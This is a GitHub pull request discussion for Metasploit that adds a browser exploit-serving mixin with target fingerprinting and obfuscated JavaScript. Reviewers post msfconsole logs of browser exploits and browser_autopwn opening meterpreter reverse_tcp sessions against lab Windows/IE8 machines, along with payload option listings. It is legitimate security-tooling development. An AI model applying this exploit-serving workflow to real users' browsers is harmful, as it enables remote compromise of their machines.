Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Add BrowserExploitServer mixin #2613

Merged
merged 74 commits into from Nov 12, 2013
Merged

Conversation

wchen-r7
Copy link
Contributor

@wchen-r7 wchen-r7 commented Nov 7, 2013

This is a mixin for browser exploit development. This release includes the following features:

  • Browser exploits can be written as ERB templates.
  • The mixin does the browser detection automatically. The detection stage by default relies on Javascript (obfuscated), or it can gather target info based on HTTP headers if Javascript is disabled.
  • The mixin can share browser information with the exploit(os name, office version, java version, browser name/version, proxy, etc)
  • Modules can define "BrowserRequirements". If these requirements aren't met, the mixin will refuse to serve the exploit to the target (HTTP 404). The module can also define target-specific requirements.
  • A browser's active session is tracked by the mixin with a cookie (or IP+user-agent if cookies are disabled). This allows the exploit to refuse to serve the malicious code again due to various reasons. You can set this with the "Retries" datastore option.
  • Added support for automatic target selection
  • The mixin keeps track of the "target" variable, that way it won't be lost when it's being passed around in the module
  • ActiveX detection for Internet Explorer
  • Java version detection for multiple browsers
  • Added support for IE10/Win 7 SP1 detection
  • New functions in RopDb to generate ROP junks and ROP nops
  • Added support to transfer information using ajax
  • A target-specific payload can be generated based on the mixin knows about the target (os, arch)

Everything is also documented, run "yard" to see. Some methods are spec'd, some will need to rely some manual testing for now.

There are more features planned for the mixin, but won't be included in this release.

This PR also covers the following Redmine tickets:
http://dev.metasploit.com/redmine/issues/8501
http://dev.metasploit.com/redmine/issues/5005

In order to do manual testing, I suggest you play with test/modules/exploits/test/browserexploitserver.rb module.

@jvazquez-r7
Copy link
Contributor

Testing browser_autopwn against Windows XP SP3 (no updates) / IE8 (no updates) / Oracle Java 6u32 I get:

  • Before modification
[*] --- Done, found 65 exploit modules


msf auxiliary(browser_autopwn) >
msf auxiliary(browser_autopwn) > sessions

Active sessions
===============

  Id  Type                   Information                      Connection
  --  ----                   -----------                      ----------
  1   meterpreter java/java  Administrator @ juan-c0de875735  192.168.172.1:7777 -> 192.168.172.133:1102 (192.168.172.133)
  3   meterpreter java/java  Administrator @ juan-c0de875735  192.168.172.1:7777 -> 192.168.172.133:1143 (192.168.172.133)
  5   meterpreter java/java  Administrator @ juan-c0de875735  192.168.172.1:7777 -> 192.168.172.133:1179 (192.168.172.133)
  7   meterpreter java/java  Administrator @ juan-c0de875735  192.168.172.1:7777 -> 192.168.172.133:1227 (192.168.172.133)
  8   meterpreter java/java  Administrator @ juan-c0de875735  192.168.172.1:7777 -> 192.168.172.133:1245 (192.168.172.133)

(9 sessions indeed, but some died.)

  • After modification
[*] --- Done, found 65 exploit modules


msf auxiliary(browser_autopwn) >
msf auxiliary(browser_autopwn) > sessions

Active sessions
===============

  Id  Type                   Information                                      Connection
  --  ----                   -----------                                      ----------
  1   meterpreter java/java  Administrator @ juan-c0de875735                  192.168.172.1:7777 -> 192.168.172.133:1218 (192.168.172.133)
  2   meterpreter x86/win32  JUAN-C0DE875735\Administrator @ JUAN-C0DE875735  192.168.172.1:3333 -> 192.168.172.133:1231 (192.168.172.133)

I've retried browser_autopwn, after modifications, 2 times, always restarting the target system. The two times I've got the same results. Not sure if I should be confident about these browser_autopwn results, neither if it means a loss of success on browser_autopwn because of changes, thoughts?

(I will proceed with more testing with browser_autopwn)

@jvazquez-r7
Copy link
Contributor

Tested browser_autopwn under 7 SP1 / IE8 but the java warnings "kill" browser autopwn

@jvazquez-r7
Copy link
Contributor

Running specs for Rex::Exploitation::JS::*

$ rspec spec/lib/rex/exploitation/js/*
Rex::Exploitation::Js::Detect ...
Rex::Exploitation::Js::Memory ...
Rex::Exploitation::Js::Network ..
Rex::Exploitation::Js::Utils .

Finished in 0.56061 seconds
9 examples, 0 failures

Oka.... more review coming before this can be landed, also feedback about the browser_autopwn thing would be welcome.

@wchen-r7
Copy link
Contributor Author

wchen-r7 commented Nov 9, 2013

@jvazquez-r7 I'm on the browserexploitserver branch, and when I test browser autopwn, I get 22 java meterpreter sessions, all stay alive. I have the full log if you wanna read it. Target is also Winodws XP SP3 + Java 1.6. When I'm on the upstream-master branch, browser autopwn gives me 24 sessions, all java meterpreters except for one win32 meterpreter session.

The only thing we have in common is browser autopwn currently loads 66 exploits.

So browser_autopwn.rb doesn't rely on anything much. It needs 'rex/exploitation/js/detect', 'rex/exploitation/jsobfu', and Msf::Exploit::Remote::HttpServer::HTML (which is based on HttpServer), and then most of the code are in the module. The pull request makes very little changes to browser autopwn's dependencies, so I'm not sure how they'd affect browser_autopwn.rb:

  • The js detection is for OS detection. It only received another case to cover Win 7 SP1 + IE10 setup.
  • HttpServer::HTML is unchanged. But I only added these new Javascript functions: js_ajax_post, js_ie_addons_detect, js_misc_addons_detect.
  • obfuscation didn't get any changes.

@jvazquez-r7
Copy link
Contributor

Working on it again!

@wchen-r7
Copy link
Contributor Author

rspec failure is unrelated to this PR: "The command "bundle exec rake" exited with 1."

@jvazquez-r7
Copy link
Contributor

For testing purposes I've ported aladdin_choosefilepath_bof to use the new mixin. The resulting code can be found here: https://gist.github.com/jvazquez-r7/7421555

The only warning on my side is when IE8 shows a warning activex prompt, the mixin shows a warning on the console about the actvx requirement not met. I guess because of the warning prompt while trying to get browser info. Not a big deal since the exploit finally runs successfully:

msf exploit(aladdin_choosefilepath_bof2) > rexploit
[*] Stopping existing job...

[*] Server stopped.
[*] Reloading module...
[*] Exploit running as background job.

[*] Started reverse handler on 10.6.0.165:4444
[*] Using URL: http://0.0.0.0:8080/YhzwoP5VxYOk
[*]  Local IP: http://10.6.0.165:8080/YhzwoP5VxYOk
[*] Server started.
msf exploit(aladdin_choosefilepath_bof2) > rexploit[*] 10.6.0.165       aladdin_choosefilepath_bof2 - Gathering target information.
[!] 10.6.0.165       aladdin_choosefilepath_bof2 - Exploit requirement(s) not met: activex
[*] 10.6.0.165       aladdin_choosefilepath_bof2 - Sending HTML...
[*] Sending stage (770048 bytes) to 10.6.0.165
[*] Meterpreter session 5 opened (10.6.0.165:4444 -> 10.6.0.165:55803) at 2013-11-11 16:45:01 -0600
[*] Session ID 5 (10.6.0.165:4444 -> 10.6.0.165:55803) processing InitialAutoRunScript 'migrate -f'
[*] Current server process: iexplore.exe (3832)
[*] Spawning notepad.exe process to migrate to
[+] Migrating to 280
[+] Successfully migrated to process

So looks like the new mixin is mainly working :) just trying to ensure there is nothing bad with the old mixin, which is my only worry at this moment indeed :) Hope to land it soon!

@wchen-r7
Copy link
Contributor Author

@jvazquez-r7, if you want, you can do a PR to this branch and then I can merge it here. Code looks good to me. I think you can probably make it shorter by using js_property_spray, but looks like the module already works fine.

@jvazquez-r7
Copy link
Contributor

ooo cool, yes if it looks okey to you, then sending pr there! glad to listen it looks okey, looks like my BrowserExploitServer education is going fine! heh :)

@jvazquez-r7
Copy link
Contributor

Other tests using the old mixin and the existent exploits to ensure "back compatibility":

  • ms13_080_cdisplaypointer
msf exploit(ms13_080_cdisplaypointer) > rexploit
[*] Stopping existing job...
[*] Reloading module...
[*] Exploit running as background job.

[*] Started reverse handler on 192.168.0.3:4444
[*] Using URL: http://0.0.0.0:8080/QE5hjCLq90AUCt
[*]  Local IP: http://192.168.0.3:8080/QE5hjCLq90AUCt
[*] Server started.
msf exploit(ms13_080_cdisplaypointer) > [*] 192.168.0.3      ms13_080_cdisplaypointer - Checking out target...
[*] 192.168.0.3      ms13_080_cdisplaypointer - Target uses Microsoft Windows XP MSIE 8.0 with msvcrt DLL
[*] Sending stage (770048 bytes) to 192.168.0.3
[*] Meterpreter session 1 opened (192.168.0.3:4444 -> 192.168.0.3:50481) at 2013-11-11 22:35:59 -0600
[*] Session ID 1 (192.168.0.3:4444 -> 192.168.0.3:50481) processing InitialAutoRunScript 'migrate -f'
[*] Current server process: iexplore.exe (2400)
[*] Spawning notepad.exe process to migrate to
[+] Migrating to 2672
[+] Successfully migrated to process
  • ms12_037_ie_colspan with obfuscation
msf exploit(ms12_037_ie_colspan) > set OBFUSCATE true
OBFUSCATE => true
msf exploit(ms12_037_ie_colspan) > rexploit
[*] Stopping existing job...
[*] Reloading module...
[*] Exploit running as background job.

[*] Started reverse handler on 192.168.0.3:4444
[*] Using URL: http://0.0.0.0:8080/M7QraBNWE
[*]  Local IP: http://192.168.0.3:8080/M7QraBNWE
[*] Server started.
msf exploit(ms12_037_ie_colspan) > [*] 192.168.0.3      ms12_037_ie_colspan - Using msvcrt ROP
[*] 192.168.0.3      ms12_037_ie_colspan - Sending exploit to 192.168.0.3:50521...
[*] Sending stage (770048 bytes) to 192.168.0.3
[*] Meterpreter session 1 opened (192.168.0.3:4444 -> 192.168.0.3:50522) at 2013-11-11 22:45:23 -0600
[*] Session ID 1 (192.168.0.3:4444 -> 192.168.0.3:50522) processing InitialAutoRunScript 'migrate -f'
[*] Current server process: iexplore.exe (3776)
[*] Spawning notepad.exe process to migrate to
[+] Migrating to 3976
[+] Successfully migrated to process

  • ie_cbutton_uaf using js_mstime_malloc
msf exploit(ie_cbutton_uaf) > rexploit
[*] Reloading module...
[*] Exploit running as background job.

[*] Started reverse handler on 192.168.0.3:4444
[*] Using URL: http://0.0.0.0:8080/9cpA7s
[*]  Local IP: http://192.168.0.3:8080/9cpA7s
[*] Server started.
msf exploit(ie_cbutton_uaf) > [*] 192.168.0.3      ie_cbutton_uaf - Requesting: /9cpA7s
[*] 192.168.0.3      ie_cbutton_uaf - Target selected as: IE 8 on Windows XP SP3
[*] 192.168.0.3      ie_cbutton_uaf - Sending HTML...
[*] Sending stage (770048 bytes) to 192.168.0.3
[*] Meterpreter session 2 opened (192.168.0.3:4444 -> 192.168.0.3:50527) at 2013-11-11 22:47:48 -0600
[*] Session ID 2 (192.168.0.3:4444 -> 192.168.0.3:50527) processing InitialAutoRunScript 'migrate -f'
[*] Current server process: iexplore.exe (1452)
[*] Spawning notepad.exe process to migrate to
[+] Migrating to 2860
[+] Successfully migrated to process

  • ms13_080_cdisplaypointer using js_property_spray
msf exploit(ms13_080_cdisplaypointer) > rexploit
[*] Reloading module...
[*] Exploit running as background job.

[*] Started reverse handler on 192.168.0.3:4444
[*] Using URL: http://0.0.0.0:8080/ifbPznQCzOT1pk8
[*]  Local IP: http://192.168.0.3:8080/ifbPznQCzOT1pk8
[*] Server started.
msf exploit(ms13_080_cdisplaypointer) > [*] 192.168.172.244 - Meterpreter session 2 closed.  Reason: Died
[*] 192.168.0.3      ms13_080_cdisplaypointer - Checking out target...
[*] 192.168.0.3      ms13_080_cdisplaypointer - Target uses Microsoft Windows XP MSIE 8.0 with msvcrt DLL
[*] Sending stage (770048 bytes) to 192.168.0.3
[*] Meterpreter session 3 opened (192.168.0.3:4444 -> 192.168.0.3:50535) at 2013-11-11 22:52:26 -0600
[*] Session ID 3 (192.168.0.3:4444 -> 192.168.0.3:50535) processing InitialAutoRunScript 'migrate -f'
[*] Current server process: iexplore.exe (1856)
[*] Spawning notepad.exe process to migrate to
[+] Migrating to 2980
[+] Successfully migrated to process

At this point really looks like the old mixin and already exsitent exploits shouldn't be affected at all by the new mixin. And the new mixin looks like working :) So if there aren't stoppers of any side looks like it is really really close to be landed :)

@jvazquez-r7
Copy link
Contributor

rspec's passing after last changes:

$ rspec spec/lib/msf/core/exploit/remote/browser_exploit_server_spec.rb
Msf::Exploit::Remote::BrowserExploitServer .............

Finished in 3.08 seconds
13 examples, 0 failures
Coverage report generated for RSpec to /Users/juan/Projects/git/metasploit-framework/coverage. 15083 / 95641 LOC (15.77%) covered.
Juans-MacBook-Pro:metasploit-framework juan$ rspec spec/lib/rex/exploitation/js/detect_spec.rb
Rex::Exploitation::Js::Detect ...

Finished in 0.5474 seconds
3 examples, 0 failures
Juans-MacBook-Pro:metasploit-framework juan$ rspec spec/lib/rex/exploitation/js/network_spec.rb
Rex::Exploitation::Js::Network ..

Finished in 0.02748 seconds
2 examples, 0 failures

@wchen-r7
Copy link
Contributor Author

Still working eh? Yeah, existing modules using the old mixin should be okay, at least that's the intention of my design. People in the future can still use HttpServer if they decide for some reason BES isn't suitable to their needs.

@jvazquez-r7
Copy link
Contributor

Prolly it's not the place to post it, since looks more related to browser_autopwn, but just discussing because found it while testing this pr. Looks like the aladdin module doesn't work under browser_autopwn:

I've added the browser_autopwn information to the ported module:

  include Msf::Exploit::Remote::BrowserAutopwn

  autopwn_info({
   :ua_name    => HttpClients::IE,
   :ua_minver  => "6.0",
   :ua_maxver  => "8.0",
   :javascript => true,
   :os_name    => OperatingSystems::WINDOWS,
   :rank       => Rank,
   :classid    => "{09F68A41-2FBE-11D3-8C9D-0008C7D901B6}",
   :method     => "ChooseFilePath",
  })

And launch browser_autopwn with the next options (used the MATCH option to just run the aladdin module under autopwn:

msf auxiliary(browser_autopwn) > show options

Module options (auxiliary/server/browser_autopwn):

   Name        Current Setting  Required  Description
   ----        ---------------  --------  -----------
   LHOST       192.168.172.1    yes       The IP address to use for reverse-connect payloads
   SRVHOST     192.168.172.1    yes       The local host to listen on. This must be an address on the local machine or 0.0.0.0
   SRVPORT     8080             yes       The local port to listen on.
   SSL         false            no        Negotiate SSL for incoming connections
   SSLCert                      no        Path to a custom SSL certificate (default is randomly generated)
   SSLVersion  SSL3             no        Specify the version of SSL that should be used (accepted: SSL2, SSL3, TLS1)
   URIPATH                      no        The URI to use for this exploit (default is random)

msf auxiliary(browser_autopwn) > show advanced

Module advanced options:

   Name           : AutoRunScript
   Current Setting:
   Description    : A script to automatically on session creation.

   Name           : AutoSystemInfo
   Current Setting: true
   Description    : Automatically capture system information on initialization.

   Name           : DEBUG
   Current Setting: false
   Description    : Do not obfuscate the javascript and print various bits of useful
      info to the browser

   Name           : EXCLUDE
   Current Setting:
   Description    : Only attempt to use exploits whose name DOES NOT match this
      regex

   Name           : LPORT_GENERIC
   Current Setting: 6666
   Description    : The port to use for generic reverse-connect payloads

   Name           : LPORT_JAVA
   Current Setting: 7777
   Description    : The port to use for Java reverse-connect payloads

   Name           : LPORT_LINUX
   Current Setting: 4444
   Description    : The port to use for Linux reverse-connect payloads

   Name           : LPORT_MACOS
   Current Setting: 5555
   Description    : The port to use for Mac reverse-connect payloads

   Name           : LPORT_WIN32
   Current Setting: 3333
   Description    : The port to use for Windows reverse-connect payloads

   Name           : ListenerComm
   Current Setting:
   Description    : The specific communication channel to use for this service

   Name           : MATCH
   Current Setting: aladdin
   Description    : Only attempt to use exploits whose name matches this regex

   Name           : PAYLOAD_GENERIC
   Current Setting: generic/shell_reverse_tcp
   Description    : The payload to use for generic reverse-connect payloads

   Name           : PAYLOAD_JAVA
   Current Setting: java/meterpreter/reverse_tcp
   Description    : The payload to use for Java reverse-connect payloads

   Name           : PAYLOAD_LINUX
   Current Setting: linux/meterpreter/reverse_tcp
   Description    : The payload to use for Linux reverse-connect payloads

   Name           : PAYLOAD_MACOS
   Current Setting: osx/meterpreter/reverse_tcp
   Description    : The payload to use for Mac reverse-connect payloads

   Name           : PAYLOAD_WIN32
   Current Setting: windows/meterpreter/reverse_tcp
   Description    : The payload to use for Windows reverse-connect payloads

   Name           : VERBOSE
   Current Setting: false
   Description    : Enable detailed status messages

   Name           : WORKSPACE
   Current Setting:
   Description    : Specify the workspace for this module

And exploit:

msf auxiliary(browser_autopwn) > rexploit
[*] Stopping existing job...
[*] Reloading module...
[*] Auxiliary module execution completed

[*] Setup
[*] Obfuscating initial javascript 2013-11-12 13:13:10 -0600
[*] Done in 0.858835 seconds

[*] Starting exploit modules on host 192.168.172.1...
[*] ---

msf auxiliary(browser_autopwn) > [*] Starting exploit windows/browser/aladdin_choosefilepath_bof with payload windows/meterpreter/reverse_tcp
[*] Using URL: http://192.168.172.1:8080/PpKlPVQe
[*] Server started.
[*] Starting handler for windows/meterpreter/reverse_tcp on port 3333
[*] Started reverse handler on 192.168.172.1:3333
[*] Starting the payload handler...

[*] --- Done, found 1 exploit modules

[*] Using URL: http://192.168.172.1:8080/gVbg3wpP
[*] Server started.
[*] 192.168.172.244  browser_autopwn - Handling '/gVbg3wpP'
[*] 192.168.172.244  browser_autopwn - Handling '/gVbg3wpP?sessid=TWljcm9zb2Z0IFdpbmRvd3M6WFA6U1AzOmVuLXVzOng4NjpNU0lFOjguMDo%3d'
[*] 192.168.172.244  browser_autopwn - JavaScript Report: Microsoft Windows:XP:SP3:en-us:x86:MSIE:8.0:
[*] 192.168.172.244  browser_autopwn - Responding with 1 exploits

Nothing :? Neither on the browser.

Switching to master and doing the same thing, I get the same thing, nothing:

msf auxiliary(browser_autopwn) > set lhost 192.168.172.1
lhost => 192.168.172.1
msf auxiliary(browser_autopwn) > set srvhost 192.168.172.1
srvhost => 192.168.172.1
msf auxiliary(browser_autopwn) > set MATCH aladdin
MATCH => aladdin
msf auxiliary(browser_autopwn) > rexploit
[*] Reloading module...
[*] Auxiliary module execution completed

[*] Setup
[*] Obfuscating initial javascript 2013-11-12 13:17:04 -0600
[*] Done in 1.120451 seconds

[*] Starting exploit modules on host 192.168.172.1...
[*] ---

msf auxiliary(browser_autopwn) > [*] Starting exploit windows/browser/aladdin_choosefilepath_bof with payload windows/meterpreter/reverse_tcp
[*] Using URL: http://192.168.172.1:8080/urSelJoiwLNko
[*] Server started.
[*] Starting handler for windows/meterpreter/reverse_tcp on port 3333
[*] Started reverse handler on 192.168.172.1:3333
[*] Starting the payload handler...

[*] --- Done, found 1 exploit modules

[*] Using URL: http://192.168.172.1:8080/t2pi5HZP
[*] Server started.
[*] 192.168.172.244  browser_autopwn - Handling '/t2pi5HZP'
[*] 192.168.172.244  browser_autopwn - Handling '/t2pi5HZP?sessid=TWljcm9zb2Z0IFdpbmRvd3M6WFA6U1AzOmVuLXVzOng4NjpNU0lFOjguMDo%3d'
[*] 192.168.172.244  browser_autopwn - JavaScript Report: Microsoft Windows:XP:SP3:en-us:x86:MSIE:8.0:
[*] 192.168.172.244  browser_autopwn - Responding with 1 exploits

Am I doing something wrong :?

platform = platform.gsub(/^Mac OS X$/, 'OSX')
platform = platform.gsub(/^Microsoft Windows$/, 'Windows')

regenerate_payload(cli, platform, arch).encoded
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Not sure if would be a good idea just return the payload, but not the encoded_payload, because there are exploits, for example java ones, which would like to do something like:

    p = get_payload(cli, target_info)
    jar  = p.encoded_jar

Copy link
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

I thought about that before and went undecided what to do: Either that should be another method, or it can automatically return a jar based on target platform, but you'll have to assume having a java platform must mean it needs a jar final payload - which isn't always necessarily true. The original plan is to support this in the next update package, because remember I spent too much time on this and all we wanted was to push this out? If you insist needing this now, I can add this, no problem. But I kind of have to know how you prefer the design.

Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

I'm not worried if it isn't added atm, just warning which, for example, java exploits, will need to redefine this method. If you're aware and it's good enough atm, then nothing to do here!

Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Also warning which this get_payload method works as well as regenerate_payload does. I mean, this doesn't allow a real multi-platform exploit.

Copy link
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Yeah, I have a list of feature requests that will be filed on redmine right after the mixin is pushed to master. Can't really do it now because technically speaking the mixin does not exist in master.

@jvazquez-r7
Copy link
Contributor

After porting java_storeimagearray to use the new mixin: https://gist.github.com/jvazquez-r7/7438687, it's working okey over browser_autopwn:

msf auxiliary(browser_autopwn) > rexploit
[*] Stopping existing job...
[*] Reloading module...
[*] Auxiliary module execution completed

[*] Setup
[*] Obfuscating initial javascript 2013-11-12 15:06:02 -0600
[*] Done in 1.05888 seconds

[*] Starting exploit modules on host 192.168.172.1...
[*] ---

msf auxiliary(browser_autopwn) > [*] Starting exploit multi/browser/java_storeimagearray with payload java/meterpreter/reverse_tcp
[*] Using URL: http://192.168.172.1:8080/mdyGHTH
[*] Server started.
[*] Starting handler for java/meterpreter/reverse_tcp on port 7777
[*] Started reverse handler on 192.168.172.1:7777
[*] Starting the payload handler...

[*] --- Done, found 1 exploit modules

[*] Using URL: http://192.168.172.1:8080/P5CSQrqSQP7Zm
[*] Server started.

msf auxiliary(browser_autopwn) >
[*] 192.168.172.244  browser_autopwn - Handling '/P5CSQrqSQP7Zm'
[*] 192.168.172.244  browser_autopwn - Handling '/P5CSQrqSQP7Zm?sessid=TWljcm9zb2Z0IFdpbmRvd3M6WFA6U1AzOmVuLXVzOng4NjpNU0lFOjguMDo%3d'
[*] 192.168.172.244  browser_autopwn - JavaScript Report: Microsoft Windows:XP:SP3:en-us:x86:MSIE:8.0:
[*] 192.168.172.244  browser_autopwn - Responding with 1 exploits
[*] 192.168.172.244  java_storeimagearray - Gathering target information.
[!] 192.168.172.244  java_storeimagearray - Requesting: /mdyGHTH/JkPQxk/
[*] 192.168.172.244  java_storeimagearray - Sending HTML...
[!] 192.168.172.244  java_storeimagearray - Requesting: /mdyGHTH/JkPQxk/oFiZqDl.jar
[*] 192.168.172.244  java_storeimagearray - Sending .jar file...
[!] 192.168.172.244  java_storeimagearray - Requesting: /mdyGHTH/JkPQxk/oFiZqDl.jar
[*] 192.168.172.244  java_storeimagearray - Sending .jar file...
[*] Sending stage (30355 bytes) to 192.168.172.244
[*] Meterpreter session 8 opened (192.168.172.1:7777 -> 192.168.172.244:1250) at 2013-11-12 15:06:21 -0600
[*] Session ID 8 (192.168.172.1:7777 -> 192.168.172.244:1250) processing InitialAutoRunScript 'migrate -f'

msf auxiliary(browser_autopwn) > sessions -i 8
[*] Starting interaction with 8...

meterpreter > getuid
Server username: Administrator
meterpreter > sysinfo
Computer    : juan-c0de875735
OS          : Windows XP 5.1 (x86)
Meterpreter : java/java
emeterpreter > exit
[*] Shutting down Meterpreter...

[*] 192.168.172.244 - Meterpreter session 8 closed.  Reason: User exit
msf auxiliary(browser_autopwn) >


var query = objToQuery(d);
postInfo("<%=get_resource%>/<%=@info_receiver_page%>/", query);
window.location = "<%=get_resource%>/<%=@exploit_receiver_page%>/";
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

This is going to have problems when get_resource is /, I think. Maybe this instead?

window.location = "<%= "#{get_resource.chomp("/")}/#{@exploit_receiver_page}" %>";

Copy link
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

There's a new get_resource() method in this mixin that does this:

super.chomp("/")

@jvazquez-r7 jvazquez-r7 merged commit fbe1b92 into rapid7:master Nov 12, 2013
@jvazquez-r7
Copy link
Contributor

Landed, saying welcome to BrowserExploitServer :)

@wchen-r7 wchen-r7 deleted the browserexploitserver branch August 22, 2016 16:22
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

Successfully merging this pull request may close these issues.

None yet

8 participants